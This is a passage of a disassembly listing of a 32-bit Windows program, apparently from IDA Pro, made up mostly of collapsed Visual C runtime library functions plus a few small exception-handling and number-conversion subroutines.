PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- pop edi pop esi pop ebx leave retn 8 ; [00000007 BYTES: COLLAPSED FUNCTION sub_4112E6. PRESS KEYPAD "+" TO EXPAND] ; [00000007 BYTES: COLLAPSED FUNCTION sub_4112ED. PRESS KEYPAD "+" TO EXPAND] ; [0000004F BYTES: COLLAPSED FUNCTION unknown_libname_1. PRESS KEYPAD "+" TO EXPAND] ; [00000036 BYTES: COLLAPSED FUNCTION ___CxxFrameHandler. PRESS KEYPAD "+" TO EXPAND] ; [00000054 BYTES: COLLAPSED FUNCTION _CallCatchBlock2(EHRegistrationNode *,_s_FuncInfo const *,void *,int,ulong). PRESS KEYPAD "+" TO EXPAND] ; [00000025 BYTES: COLLAPSED FUNCTION CatchGuardHandler(EHExceptionRecord *,CatchGuardRN *,void *,void *). PRESS KEYPAD "+" TO EXPAND] ; [000000B4 BYTES: COLLAPSED FUNCTION _CallSETranslator(EHExceptionRecord *,EHRegistrationNode *,void *,void *,_s_FuncInfo const *,int,EHRegistrationNode *). PRESS KEYPAD "+" TO EXPAND] ; [00000075 BYTES: COLLAPSED FUNCTION TranslatorGuardHandler(EHExceptionRecord *,TranslatorGuardRN *,void *,void *). PRESS KEYPAD "+" TO EXPAND] ; [0000007B BYTES: COLLAPSED FUNCTION _GetRangeOfTrysToCheck(_s_FuncInfo const *,int,int,uint *,uint *). PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000020 BYTES: COLLAPSED FUNCTION __global_unwind2. PRESS KEYPAD "+" TO EXPAND] ; [00000022 BYTES: COLLAPSED FUNCTION __unwind_handler. PRESS KEYPAD "+" TO EXPAND] ; [00000068 BYTES: COLLAPSED FUNCTION __local_unwind2. PRESS KEYPAD "+" TO EXPAND] ; [00000023 BYTES: COLLAPSED FUNCTION __abnormal_termination. PRESS KEYPAD "+" TO EXPAND] ; [00000009 BYTES: COLLAPSED FUNCTION __NLG_Notify1. PRESS KEYPAD "+" TO EXPAND] ; [00000018 BYTES: COLLAPSED FUNCTION __NLG_Notify. PRESS KEYPAD "+" TO EXPAND] align 4 ; [0000001F BYTES: COLLAPSED FUNCTION __EH_prolog. PRESS KEYPAD "+" TO EXPAND] ; [00000051 BYTES: COLLAPSED FUNCTION __snprintf. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000335 BYTES: COLLAPSED FUNCTION _memcpy_0. PRESS KEYPAD "+" TO EXPAND] ; [0000000B BYTES: COLLAPSED FUNCTION operator delete(void *). PRESS KEYPAD "+" TO EXPAND] ; [0000000E BYTES: COLLAPSED FUNCTION operator new(uint). PRESS KEYPAD "+" TO EXPAND] ; [0000006D BYTES: COLLAPSED FUNCTION __onexit. PRESS KEYPAD "+" TO EXPAND] ; [00000012 BYTES: COLLAPSED FUNCTION _atexit. PRESS KEYPAD "+" TO EXPAND] ; [0000002F BYTES: COLLAPSED FUNCTION ___onexitinit. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000084 BYTES: COLLAPSED FUNCTION _strcmp. PRESS KEYPAD "+" TO EXPAND] ; [00000208 BYTES: COLLAPSED FUNCTION _strtoxl. PRESS KEYPAD "+" TO EXPAND] ; [00000017 BYTES: COLLAPSED FUNCTION _strtoul. PRESS KEYPAD "+" TO EXPAND] ; [0000008B BYTES: COLLAPSED FUNCTION _atol. PRESS KEYPAD "+" TO EXPAND] ; [0000000B BYTES: COLLAPSED FUNCTION _atoi. PRESS KEYPAD "+" TO EXPAND] ; [00000034 BYTES: COLLAPSED FUNCTION _sscanf. PRESS KEYPAD "+" TO EXPAND] ; [00000056 BYTES: COLLAPSED FUNCTION _fclose. PRESS KEYPAD "+" TO EXPAND] ; [000000E8 BYTES: COLLAPSED FUNCTION _fread. PRESS KEYPAD "+" TO EXPAND] ; [00000158 BYTES: COLLAPSED FUNCTION _ftell. PRESS KEYPAD "+" TO EXPAND] ; [0000008C BYTES: COLLAPSED FUNCTION _fseek. PRESS KEYPAD "+" TO EXPAND] ; [00000020 BYTES: COLLAPSED FUNCTION __fsopen. PRESS KEYPAD "+" TO EXPAND] ; [00000013 BYTES: COLLAPSED FUNCTION _fopen. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000038 BYTES: COLLAPSED FUNCTION _strncmp. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000123 BYTES: COLLAPSED FUNCTION _strncat. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_412333 proc near ; CODE XREF: sub_404F31+1B9p ; sub_405759+45p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_423A60, eax retn sub_412333 endp ; [0000001E BYTES: COLLAPSED FUNCTION _rand. PRESS KEYPAD "+" TO EXPAND] ; [000000DC BYTES: COLLAPSED FUNCTION _time. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000FE BYTES: COLLAPSED FUNCTION _strncpy. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000007 BYTES: COLLAPSED FUNCTION _strcpy. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000E0 BYTES: COLLAPSED FUNCTION _strcat. PRESS KEYPAD "+" TO EXPAND] ; [00000080 BYTES: COLLAPSED FUNCTION _strstr. PRESS KEYPAD "+" TO EXPAND] ; [000000CB BYTES: COLLAPSED FUNCTION _tolower. PRESS KEYPAD "+" TO EXPAND] ; [0000009C BYTES: COLLAPSED FUNCTION _strtok. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000075 BYTES: COLLAPSED FUNCTION __aullrem. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000068 BYTES: COLLAPSED FUNCTION __aulldiv. PRESS KEYPAD "+" TO EXPAND] ; [00000050 BYTES: COLLAPSED FUNCTION __vsnprintf. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000AC BYTES: COLLAPSED FUNCTION _memcmp. PRESS KEYPAD "+" TO EXPAND] ; [0000002D BYTES: COLLAPSED FUNCTION __cinit. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION _exit. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION __exit. PRESS KEYPAD "+" TO EXPAND] ; [00000099 BYTES: COLLAPSED FUNCTION _doexit. PRESS KEYPAD "+" TO EXPAND] ; [0000001A BYTES: COLLAPSED FUNCTION __initterm. PRESS KEYPAD "+" TO EXPAND] ; [00000147 BYTES: COLLAPSED FUNCTION __splitpath. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000027 BYTES: COLLAPSED FUNCTION _strrchr. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000005 BYTES: COLLAPSED CHUNK OF FUNCTION _strchr. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000BC BYTES: COLLAPSED FUNCTION _strchr. PRESS KEYPAD "+" TO EXPAND] ; [000000D7 BYTES: COLLAPSED FUNCTION start. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- mov eax, [ebp-14h] mov ecx, [eax] mov ecx, [ecx] mov [ebp-68h], ecx push eax push ecx call __XcptFilter pop ecx pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] push dword ptr [ebp-68h] call __exit ; [00000022 BYTES: COLLAPSED FUNCTION __amsg_exit. PRESS KEYPAD "+" TO EXPAND] pop ecx pop ecx retn ; [00000023 BYTES: COLLAPSED FUNCTION _fast_error_exit. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- retn ; [0000001B BYTES: COLLAPSED FUNCTION __callnewh. PRESS KEYPAD "+" TO EXPAND] ; [0000003C BYTES: COLLAPSED FUNCTION __heap_init. PRESS KEYPAD "+" TO EXPAND] ; [0000003E BYTES: COLLAPSED FUNCTION ___sbh_heap_init. PRESS KEYPAD "+" TO EXPAND] ; [0000002B BYTES: COLLAPSED FUNCTION ___sbh_find_block. PRESS KEYPAD "+" TO EXPAND] ; [0000032B BYTES: COLLAPSED FUNCTION ___sbh_free_block. PRESS KEYPAD "+" TO EXPAND] ; [00000309 BYTES: COLLAPSED FUNCTION ___sbh_alloc_block. PRESS KEYPAD "+" TO EXPAND] ; [000000B1 BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_region. PRESS KEYPAD "+" TO EXPAND] ; [000000FB BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_group. PRESS KEYPAD "+" TO EXPAND] ; [000002F6 BYTES: COLLAPSED FUNCTION ___sbh_resize_block. PRESS KEYPAD "+" TO EXPAND] ; [00000115 BYTES: COLLAPSED FUNCTION __flsbuf. PRESS KEYPAD "+" TO EXPAND] ; [00000721 BYTES: COLLAPSED FUNCTION __output. PRESS KEYPAD "+" TO EXPAND] off_414267 dd offset $NORMAL_STATE$1535 ; DATA XREF: __output+6Er dd offset loc_413BBB ; jump table for switch statement dd offset loc_413BD6 dd offset loc_413C22 dd offset loc_413C59 dd offset loc_413C61 dd offset loc_413C96 dd offset loc_413D29 ; [00000035 BYTES: COLLAPSED FUNCTION _write_char. PRESS KEYPAD "+" TO EXPAND] ; [00000031 BYTES: COLLAPSED FUNCTION _write_multi_char. PRESS KEYPAD "+" TO EXPAND] ; [00000038 BYTES: COLLAPSED FUNCTION _write_string. PRESS KEYPAD "+" TO EXPAND] ; [0000000D BYTES: COLLAPSED FUNCTION _get_int_arg. PRESS KEYPAD "+" TO EXPAND] ; [00000010 BYTES: COLLAPSED FUNCTION _get_int64_arg. PRESS KEYPAD "+" TO EXPAND] ; [0000000E BYTES: COLLAPSED FUNCTION _get_short_arg. PRESS KEYPAD "+" TO EXPAND] ; [00000053 BYTES: COLLAPSED FUNCTION __handle_qnan1. PRESS KEYPAD "+" TO EXPAND] ; [00000098 BYTES: COLLAPSED FUNCTION __except1. PRESS KEYPAD "+" TO EXPAND] ; [000002B3 BYTES: COLLAPSED FUNCTION __raise_exc. PRESS KEYPAD "+" TO EXPAND] ; [00000217 BYTES: COLLAPSED FUNCTION __handle_exc. PRESS KEYPAD "+" TO EXPAND] ; [00000088 BYTES: COLLAPSED FUNCTION __umatherr. PRESS KEYPAD "+" TO EXPAND] ; [00000026 BYTES: COLLAPSED FUNCTION __set_errno. PRESS KEYPAD "+" TO EXPAND] ; [00000025 BYTES: COLLAPSED FUNCTION __get_fname. PRESS KEYPAD "+" TO EXPAND] ; [0000002D BYTES: COLLAPSED FUNCTION __errcode. PRESS KEYPAD "+" TO EXPAND] ; [00000012 BYTES: COLLAPSED FUNCTION __frnd. PRESS KEYPAD "+" TO EXPAND] ; [00000029 BYTES: COLLAPSED FUNCTION __set_exp. PRESS KEYPAD "+" TO EXPAND] ; [0000005A BYTES: COLLAPSED FUNCTION __sptype. PRESS KEYPAD "+" TO EXPAND] ; [000000C1 BYTES: COLLAPSED FUNCTION __decomp. PRESS KEYPAD "+" TO EXPAND] ; [0000000E BYTES: COLLAPSED FUNCTION __statfp. PRESS KEYPAD "+" TO EXPAND] ; [0000000F BYTES: COLLAPSED FUNCTION __clrfp. PRESS KEYPAD "+" TO EXPAND] ; [00000023 BYTES: COLLAPSED FUNCTION __ctrlfp. PRESS KEYPAD "+" TO EXPAND] ; [00000056 BYTES: COLLAPSED FUNCTION __set_statfp. PRESS KEYPAD "+" TO EXPAND] ; [00000012 BYTES: COLLAPSED FUNCTION __setdefaultprecision. PRESS KEYPAD "+" TO EXPAND] ; [0000003E BYTES: COLLAPSED FUNCTION __ms_p5_test_fdiv. PRESS KEYPAD "+" TO EXPAND] ; [00000029 BYTES: COLLAPSED FUNCTION __ms_p5_mp_test_fdiv. PRESS KEYPAD "+" TO EXPAND] ; [0000005A BYTES: COLLAPSED FUNCTION __forcdecpt. PRESS KEYPAD "+" TO EXPAND] ; [0000004E BYTES: COLLAPSED FUNCTION __cropzeros. PRESS KEYPAD "+" TO EXPAND] ; [00000018 BYTES: COLLAPSED FUNCTION __positive. PRESS KEYPAD "+" TO EXPAND] ; [0000003E BYTES: COLLAPSED FUNCTION __fassign. PRESS KEYPAD "+" TO EXPAND] ; [00000104 BYTES: COLLAPSED FUNCTION __cftoe. PRESS KEYPAD "+" TO EXPAND] ; [000000DE BYTES: COLLAPSED FUNCTION __cftof. PRESS KEYPAD "+" TO EXPAND] ; [0000009B BYTES: COLLAPSED FUNCTION __cftog. PRESS KEYPAD "+" TO EXPAND] ; [00000027 BYTES: COLLAPSED FUNCTION __cftoe_g. PRESS KEYPAD "+" TO EXPAND] ; [00000023 BYTES: COLLAPSED FUNCTION __cftof_g. PRESS KEYPAD "+" TO EXPAND] ; [00000051 BYTES: COLLAPSED FUNCTION __cfltcvt. PRESS KEYPAD "+" TO EXPAND] ; [00000025 BYTES: COLLAPSED FUNCTION __shift. PRESS KEYPAD "+" TO EXPAND] ; [0000009B BYTES: COLLAPSED FUNCTION ___InternalCxxFrameHandler. PRESS KEYPAD "+" TO EXPAND] ; [000001A7 BYTES: COLLAPSED FUNCTION FindHandler(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,uchar,int,EHRegistrationNode *). PRESS KEYPAD "+" TO EXPAND] ; [000000A8 BYTES: COLLAPSED FUNCTION FindHandlerForForeignException(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,int,int,EHRegistrationNode *). PRESS KEYPAD "+" TO EXPAND] ; [0000005D BYTES: COLLAPSED FUNCTION TypeMatch(_s_HandlerType const *,_s_CatchableType const *,_s_ThrowInfo const *). PRESS KEYPAD "+" TO EXPAND] ; [0000009E BYTES: COLLAPSED FUNCTION ___FrameUnwindToState. PRESS KEYPAD "+" TO EXPAND] ; [00000016 BYTES: COLLAPSED FUNCTION unknown_libname_3. PRESS KEYPAD "+" TO EXPAND] ; [0000007B BYTES: COLLAPSED FUNCTION CatchIt(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,_s_HandlerType const *,_s_CatchableType const *,_s_TryBlockMapEntry const *,int,EHRegistrationNode *,uchar). PRESS KEYPAD "+" TO EXPAND] ; [0000009C BYTES: COLLAPSED FUNCTION CallCatchBlock(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,_s_FuncInfo const *,void *,int,ulong). PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_4155B7 proc near ; DATA XREF: .rdata:0041C408o push dword ptr [ebp-14h] ; struct _EXCEPTION_POINTERS * call ?ExFilterRethrow@@YAHPAU_EXCEPTION_POINTERS@@@Z ; ExFilterRethrow(_EXCEPTION_POINTERS *) pop ecx retn sub_4155B7 endp ; =============== S U B R O U T I N E ======================================= sub_4155C1 proc near ; DATA XREF: .rdata:0041C40Co mov esp, [ebp-18h] and dword ptr [ebp-2Ch], 0 push 0FFFFFFFFh lea eax, [ebp-10h] push eax call __local_unwind2 pop ecx pop ecx xor eax, eax jmp short loc_4155A8 sub_4155C1 endp ; =============== S U B R O U T I N E ======================================= sub_4155D9 proc near ; DATA XREF: .rdata:0041C400o xor ebx, ebx mov esi, [ebp+0Ch] mov edi, [ebp+8] sub_4155D9 endp ; sp-analysis failed ; [00000046 BYTES: COLLAPSED FUNCTION sub_4155E1. PRESS KEYPAD "+" TO EXPAND] ; [0000002A BYTES: COLLAPSED FUNCTION ExFilterRethrow(_EXCEPTION_POINTERS *). PRESS KEYPAD "+" TO EXPAND] ; [000001B8 BYTES: COLLAPSED FUNCTION BuildCatchObject(EHExceptionRecord *,EHRegistrationNode *,_s_HandlerType const *,_s_CatchableType const *). PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_4158EC ; [00000056 BYTES: COLLAPSED FUNCTION unknown_libname_4. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- xor eax, eax cmp [ebp+0Ch], al setnz al retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_4158EC ; [00000023 BYTES: COLLAPSED FUNCTION AdjustPointer(void *,PMD const &). PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000004C BYTES: COLLAPSED FUNCTION unknown_libname_5. PRESS KEYPAD "+" TO EXPAND] ; [00000056 BYTES: COLLAPSED FUNCTION sub_4158EC. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_415942 proc near ; CODE XREF: _GetRangeOfTrysToCheck(_s_FuncInfo const *,int,int,uint *,uint *)+23p ; _GetRangeOfTrysToCheck(_s_FuncInfo const *,int,int,uint *,uint *):loc_411586p ... var_18 = dword ptr -18h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_41C448 push offset unknown_libname_7 ; Microsoft VisualC 2-8/net runtime mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, off_423BC4 test eax, eax jz short loc_41598A mov [ebp+var_4], 1 call eax ; sub_4158EC jmp short loc_415986 ; --------------------------------------------------------------------------- loc_41597F: ; DATA XREF: .rdata:0041C458o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_415983: ; DATA XREF: .rdata:0041C45Co mov esp, [ebp+var_18] loc_415986: ; CODE XREF: sub_415942+3Bj and [ebp+var_4], 0 loc_41598A: ; CODE XREF: sub_415942+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_415993: ; DATA XREF: .rdata:0041C450o jmp sub_4158EC sub_415942 endp ; [00000120 BYTES: COLLAPSED FUNCTION _realloc. PRESS KEYPAD "+" TO EXPAND] ; [00000029 BYTES: COLLAPSED FUNCTION __msize. PRESS KEYPAD "+" TO EXPAND] ; [000000CC BYTES: COLLAPSED FUNCTION _toupper. PRESS KEYPAD "+" TO EXPAND] ; [00000075 BYTES: COLLAPSED FUNCTION __isctype. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000034 BYTES: COLLAPSED FUNCTION __allmul. PRESS KEYPAD "+" TO EXPAND] ; [00000A25 BYTES: COLLAPSED FUNCTION __input. PRESS KEYPAD "+" TO EXPAND] ; [00000037 BYTES: COLLAPSED FUNCTION __hextodec. PRESS KEYPAD "+" TO EXPAND] ; [0000001A BYTES: COLLAPSED FUNCTION _fgetc. PRESS KEYPAD "+" TO EXPAND] ; [00000017 BYTES: COLLAPSED FUNCTION __un_inc. PRESS KEYPAD "+" TO EXPAND] ; [00000024 BYTES: COLLAPSED FUNCTION __whiteout. PRESS KEYPAD "+" TO EXPAND] ; [000000B3 BYTES: COLLAPSED FUNCTION __close. PRESS KEYPAD "+" TO EXPAND] ; [0000002B BYTES: COLLAPSED FUNCTION __freebuf. PRESS KEYPAD "+" TO EXPAND] ; [0000003B BYTES: COLLAPSED FUNCTION _fflush. PRESS KEYPAD "+" TO EXPAND] ; [0000005C BYTES: COLLAPSED FUNCTION __flush. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_41688A proc near ; CODE XREF: ___endstdiop push 1 call _flsall pop ecx retn sub_41688A endp ; [0000006D BYTES: COLLAPSED FUNCTION _flsall. PRESS KEYPAD "+" TO EXPAND] ; [000000D9 BYTES: COLLAPSED FUNCTION __filbuf. PRESS KEYPAD "+" TO EXPAND] ; [000001F6 BYTES: COLLAPSED FUNCTION __read. PRESS KEYPAD "+" TO EXPAND] ; [000001AB BYTES: COLLAPSED FUNCTION __ioinit. PRESS KEYPAD "+" TO EXPAND] ; [0000009A BYTES: COLLAPSED FUNCTION __lseek. PRESS KEYPAD "+" TO EXPAND] ; [00000170 BYTES: COLLAPSED FUNCTION __openfile. PRESS KEYPAD "+" TO EXPAND] ; [00000078 BYTES: COLLAPSED FUNCTION __getstream. PRESS KEYPAD "+" TO EXPAND] ; [000000C2 BYTES: COLLAPSED FUNCTION ___loctotime_t. PRESS KEYPAD "+" TO EXPAND] ; [00000224 BYTES: COLLAPSED FUNCTION ___crtLCMapStringA. PRESS KEYPAD "+" TO EXPAND] ; [0000002B BYTES: COLLAPSED FUNCTION _strncnt. PRESS KEYPAD "+" TO EXPAND] ; [00000199 BYTES: COLLAPSED FUNCTION __setmbcp. PRESS KEYPAD "+" TO EXPAND] ; [0000004A BYTES: COLLAPSED FUNCTION _getSystemCP. PRESS KEYPAD "+" TO EXPAND] ; [00000033 BYTES: COLLAPSED FUNCTION _CPtoLCID. PRESS KEYPAD "+" TO EXPAND] ; [00000029 BYTES: COLLAPSED FUNCTION _setSBCS. PRESS KEYPAD "+" TO EXPAND] ; [00000185 BYTES: COLLAPSED FUNCTION _setSBUpLow. PRESS KEYPAD "+" TO EXPAND] ; [0000001C BYTES: COLLAPSED FUNCTION ___initmbctable. PRESS KEYPAD "+" TO EXPAND] ; [0000008A BYTES: COLLAPSED FUNCTION __mbsnbcpy. PRESS KEYPAD "+" TO EXPAND] ; [00000141 BYTES: COLLAPSED FUNCTION __XcptFilter. PRESS KEYPAD "+" TO EXPAND] ; [00000043 BYTES: COLLAPSED FUNCTION _xcptlookup. PRESS KEYPAD "+" TO EXPAND] ; [00000058 BYTES: COLLAPSED FUNCTION __wincmdln. PRESS KEYPAD "+" TO EXPAND] ; [000000B9 BYTES: COLLAPSED FUNCTION __setenvp. PRESS KEYPAD "+" TO EXPAND] ; [00000099 BYTES: COLLAPSED FUNCTION __setargv. PRESS KEYPAD "+" TO EXPAND] ; [000001B4 BYTES: COLLAPSED FUNCTION _parse_cmdline. PRESS KEYPAD "+" TO EXPAND] ; [00000132 BYTES: COLLAPSED FUNCTION ___crtGetEnvironmentStringsA. PRESS KEYPAD "+" TO EXPAND] align 4 push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; [000000BD BYTES: COLLAPSED FUNCTION unknown_libname_7. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- unknown_libname_8: ; Microsoft VisualC 2-8/net runtime push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call __local_unwind2 add esp, 8 pop ebp retn 4 ; [00000039 BYTES: COLLAPSED FUNCTION __FF_MSGBANNER. PRESS KEYPAD "+" TO EXPAND] ; [00000153 BYTES: COLLAPSED FUNCTION __NMSG_WRITE. PRESS KEYPAD "+" TO EXPAND] ; [000001AD BYTES: COLLAPSED FUNCTION __write. PRESS KEYPAD "+" TO EXPAND] ; [00000044 BYTES: COLLAPSED FUNCTION __getbuf. PRESS KEYPAD "+" TO EXPAND] ; [00000026 BYTES: COLLAPSED FUNCTION __isatty. PRESS KEYPAD "+" TO EXPAND] ; [000000A5 BYTES: COLLAPSED FUNCTION ___initstdio. PRESS KEYPAD "+" TO EXPAND] ; [00000014 BYTES: COLLAPSED FUNCTION ___endstdio. PRESS KEYPAD "+" TO EXPAND] ; [00000068 BYTES: COLLAPSED FUNCTION _wctomb. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_418330 proc near ; CODE XREF: __umatherr+52p xor eax, eax retn sub_418330 endp ; [00000035 BYTES: COLLAPSED FUNCTION __control87. PRESS KEYPAD "+" TO EXPAND] ; [00000016 BYTES: COLLAPSED FUNCTION __controlfp. PRESS KEYPAD "+" TO EXPAND] ; [00000092 BYTES: COLLAPSED FUNCTION __abstract_cw. PRESS KEYPAD "+" TO EXPAND] ; [00000089 BYTES: COLLAPSED FUNCTION __hw_cw. PRESS KEYPAD "+" TO EXPAND] ; [00000049 BYTES: COLLAPSED FUNCTION __ZeroTail. PRESS KEYPAD "+" TO EXPAND] ; [00000056 BYTES: COLLAPSED FUNCTION __IncMan. PRESS KEYPAD "+" TO EXPAND] ; [0000008C BYTES: COLLAPSED FUNCTION __RoundMan. PRESS KEYPAD "+" TO EXPAND] ; [0000001B BYTES: COLLAPSED FUNCTION __CopyMan. PRESS KEYPAD "+" TO EXPAND] ; [0000000C BYTES: COLLAPSED FUNCTION __FillZeroMan. PRESS KEYPAD "+" TO EXPAND] ; [0000001B BYTES: COLLAPSED FUNCTION __IsZeroMan. PRESS KEYPAD "+" TO EXPAND] ; [0000008D BYTES: COLLAPSED FUNCTION __ShrMan. PRESS KEYPAD "+" TO EXPAND] ; [0000016C BYTES: COLLAPSED FUNCTION __ld12cvt. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_4187FF proc near ; CODE XREF: sub_41882B+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_424290 push [esp+4+arg_4] push [esp+8+arg_0] call __ld12cvt add esp, 0Ch retn sub_4187FF endp ; =============== S U B R O U T I N E ======================================= sub_418815 proc near ; CODE XREF: sub_418858+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_4242A8 push [esp+4+arg_4] push [esp+8+arg_0] call __ld12cvt add esp, 0Ch retn sub_418815 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41882B proc near ; CODE XREF: __fassign+12p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call ___strgtold12 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_4187FF add esp, 24h leave retn sub_41882B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418858 proc near ; CODE XREF: __fassign+2Dp var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call ___strgtold12 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_418815 add esp, 24h leave retn sub_418858 endp ; [00000077 BYTES: COLLAPSED FUNCTION __fptostr. PRESS KEYPAD "+" TO EXPAND] ; [00000064 BYTES: COLLAPSED FUNCTION __fltout. PRESS KEYPAD "+" TO EXPAND] ; [000000B6 BYTES: COLLAPSED FUNCTION ___dtold. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- push 2 call __amsg_exit pop ecx retn ; [00000046 BYTES: COLLAPSED FUNCTION __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *). PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_418A65 proc near ; DATA XREF: .data:0041E01Co push offset ?__CxxUnhandledExceptionFilter@@YGJPAU_EXCEPTION_POINTERS@@@Z ; lpTopLevelExceptionFilter call ds:SetUnhandledExceptionFilter ; SetUnhandledExceptionFilter mov lpTopLevelExceptionFilter, eax retn sub_418A65 endp ; =============== S U B R O U T I N E ======================================= sub_418A76 proc near ; DATA XREF: .data:0041E034o push lpTopLevelExceptionFilter ; lpTopLevelExceptionFilter call ds:SetUnhandledExceptionFilter ; SetUnhandledExceptionFilter retn sub_418A76 endp ; [0000001C BYTES: COLLAPSED FUNCTION _ValidateRead(void const *,uint). PRESS KEYPAD "+" TO EXPAND] ; [0000001C BYTES: COLLAPSED FUNCTION _ValidateWrite(void *,uint). PRESS KEYPAD "+" TO EXPAND] ; [00000018 BYTES: COLLAPSED FUNCTION _ValidateExecute(int (*)(void)). PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; [00000017 BYTES: COLLAPSED CHUNK OF FUNCTION sub_4158EC. PRESS KEYPAD "+" TO EXPAND] ; [00000149 BYTES: COLLAPSED FUNCTION ___crtGetStringTypeA. PRESS KEYPAD "+" TO EXPAND] ; [000000C8 BYTES: COLLAPSED FUNCTION _mbtowc. PRESS KEYPAD "+" TO EXPAND] ; [00000028 BYTES: COLLAPSED FUNCTION _isspace. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000001F BYTES: COLLAPSED FUNCTION __allshl. PRESS KEYPAD "+" TO EXPAND] ; [0000006E BYTES: COLLAPSED FUNCTION _ungetc. PRESS KEYPAD "+" TO EXPAND] ; [00000067 BYTES: COLLAPSED FUNCTION __dosmaperr. PRESS KEYPAD "+" TO EXPAND] ; [00000095 BYTES: COLLAPSED FUNCTION __alloc_osfhnd. PRESS KEYPAD "+" TO EXPAND] ; [00000077 BYTES: COLLAPSED FUNCTION __set_osfhnd. PRESS KEYPAD "+" TO EXPAND] ; [0000007A BYTES: COLLAPSED FUNCTION __free_osfhnd. PRESS KEYPAD "+" TO EXPAND] ; [0000003D BYTES: COLLAPSED FUNCTION __get_osfhandle. PRESS KEYPAD "+" TO EXPAND] ; [00000057 BYTES: COLLAPSED FUNCTION __commit. PRESS KEYPAD "+" TO EXPAND] ; [000002B9 BYTES: COLLAPSED FUNCTION __sopen. PRESS KEYPAD "+" TO EXPAND] ; [00000015 BYTES: COLLAPSED FUNCTION ___tzset. PRESS KEYPAD "+" TO EXPAND] ; [0000025E BYTES: COLLAPSED FUNCTION __tzset. PRESS KEYPAD "+" TO EXPAND] ; [000001AC BYTES: COLLAPSED FUNCTION __isindst. PRESS KEYPAD "+" TO EXPAND] ; [00000140 BYTES: COLLAPSED FUNCTION _cvtdate. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION __ismbblead. PRESS KEYPAD "+" TO EXPAND] ; [00000031 BYTES: COLLAPSED FUNCTION _x_ismbbtype. PRESS KEYPAD "+" TO EXPAND] ; [00000089 BYTES: COLLAPSED FUNCTION ___crtMessageBoxA. PRESS KEYPAD "+" TO EXPAND] ; [0000007D BYTES: COLLAPSED FUNCTION _calloc. PRESS KEYPAD "+" TO EXPAND] ; [00000058 BYTES: COLLAPSED FUNCTION __fcloseall. PRESS KEYPAD "+" TO EXPAND] 